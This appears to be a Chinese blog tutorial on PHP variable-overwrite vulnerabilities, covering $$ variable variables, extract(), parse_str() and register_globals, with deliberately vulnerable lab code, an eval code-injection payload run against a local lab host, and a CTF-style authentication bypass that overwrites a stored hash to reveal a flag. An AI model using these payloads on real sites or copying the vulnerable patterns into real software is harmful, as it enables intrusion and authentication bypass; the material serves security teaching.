PHP变量覆盖漏洞原理

PHP变量覆盖漏洞原理

一、超全局变量

编写以下代码

<?php
    var_dump($_GET);
?>

在浏览器中执行,可以看到 $_GET 是一个关联数组,此用法适用于所有超全局变量。

访问 http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?name=ymqyyds&money=wanwanyi

array (size=2)
  'name' => string 'ymqyyds' (length=7)
  'money' => string 'wanwanyi' (length=8)
$GLOBALS	所有超全局变量
$_GET	通过GET方法传递给脚本的变量数组
$_POST	通过POST方法传递给脚本的变量数组
$_COOKIE	cookie变量数组
$_SERVER	服务器环境遍历数组
$_REQUEST	所有用户输入的变量数组,包括$_GET$_POST$_COOKIE
$_FILES 	与文件上传相关的变量数组
$_ENV	环境变量数组
$_SESSION	会话变量数组

如果参数本身是一个数组呢

访问 http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?name[0]=ymqyyds&name[1]=wanwanyi&name[2]=money

array (size=1)
  'name' => 
    array (size=3)
      0 => string 'ymqyyds' (length=7)
      1 => string 'wanwanyi' (length=8)
      2 => string 'money' (length=5)

结果就是按照正常二维数组输出

二、变量覆盖的用法

1、$$可变变量

再PHP中,$var 表示一个名为 var 的普通变量,他存储字符串,整数,浮点等任何值。而 $$var 用于存储 $var 的值

<?php
$var = "woniu";
$$var = "hello";

echo $var."<br>";
echo $$var."<br>";
echo $woniu."<br>";
?>

输出

woniu
hello
hello

其他表示方法

<?php

$a = "hello";
$$a = "world";
echo "$a  ${$a}"."<br>";
echo "$a  $hello"."<br>";

?>

输出

hello world
hello world

2、全局变量覆盖

<?PHP
  
$auth = 0;
foreach($_GET as $key => $value) {
    $$key = $value;
    // 每次循环执行这句代码都会将URL地址参数重新赋值为URL地址参数中的参数值
}
echo $auth;
    
?>
    
访问
http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?auth=ymqyyds
输出
ymqyyds

访问
http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?auth=ymqyyds&auth=cbcbcb
输出
cbcbcb

为什么需要将地址参数中的Key转换为变量?因为后续使用非常方便,不需要再进行参数接收,直接用变量就行,比如 $auth = $_GET['auth']; 这样后面就不需要再写 $_GET['auth'] 直接用 $auth 就可以了

3、extract() 函数

<?php
$auth = false;
extract($_GET);
echo $auth;
?>
访问
http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?auth=ymqyyds
输出
ymqyyds

从数组当中,将字符串变为一个变量

extract() 将URL地址中的参数本来是一个数组的形式,现在直接将结果存放在变量当中,此时URL地址中变量名充当键名,参数值作为变量的值

4、parse_str() 函数

将字符串解析为多个变量,与此相同的功能还有 mb_parse_str()

<?PHP
$a = "aa";
$str = "a=test";
parse_str($str);
echo $a;
?>
访问
http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php
输出
test

意思就是把a和test拆开,a作为变量,test作为值传给a

5、其他

全局变量注册 register_globals = Onimport_request_variables() 函数,仅在PHP5.4版本之前有用

三、变量覆盖演练

1、变量覆盖与代码注入

<?PHP
$x = $_GET['x'];
eval("var_dump($$x);");
?>

访问 http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?x=x=phpinfo()

image-20240906153547258

eval("var_dump($$x);");
传参
?x=x=phpinfo()
eval("var_dump($x);");
eval("var_dump(phpinfo());");
eval("var_dump($$x);");
语法拼接 666);var_dump(phpinfo()
eval("var_dump(666);var_dump(phpinfo());");

访问
http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?x=x=666);var_dump(phpinfo()

image-20240906154057986

2、变量覆盖

<?php
    error_reporting(0);
    $hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482bafeea05a';
    $parsed = parse_url($_SERVER['REQUEST_URI']);
    var_dump($parsed);
    if(isset($parsed["query"])){
        $query = $parsed["query"];

        $parsed_query = parse_str($query);  // 没有返回值,$parsed_query === null  比如query: auth=nbnbnb  则 parse_str($query) 执行表示 $auth=nbnbnb
        if($parsed_query != null){
            $action =$parsed_query['action'];
        }
        if($action==="auth"){
            $key = $_GET["key"];
            $hashed_input = hash('sha256',$key);
            if($hashed_input!==$hashed_key){
                die("no");
            }
            echo "Flag:f7119dfdd560f9d1fcbe";
        }
    }
    else{
        show_source( __FILE__);
    }
?>

这里讲解一下 parse_str() 函数

image-20240906162735068

这里可以看到,该函数返回的是 void 类型的值,这在php表示不返回值,所以我们在调试的时候才会发现, $parsed_query = parse_str($query); var_dump($parsed_query); 代码执行之后的 显示结果为空,如果要想该函数执行之后有结果,我们需要 $parsed_query = parse_str($query,$result); 此时就会将拆解结果存放在 $result 变量中

所以这里

image-20240906163024340

这几行代码纯粹就是无效的,用来误导人的

此时 $parsed_query 一定为空

此时我们会发现,既然 $parsed_query 一定为空,那么其判断就不会成立,$action 就没有值,怎么回事呢?

别忘了,$action 完全是可以来自我们URL地址参数构造的,在URL地址参数中构造 ?action=auth 就ok了

所以此时只需要 ?action=auth&key=123456&hashed_key=xxx 其中这个xxx就是使用sha256加密123456字符串得到的结果8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92

image-20240906164756098

此时 parse_str 函数执行后 就会变成 $action="auth" $key="123456" $hashed_key="8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92"

进入代码之后 $hashed_key 就会覆盖掉原本定义的 $hashed_key ,此时再和我们自己传入的 key 作比较,就成功绕过

image-20240906165020124

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值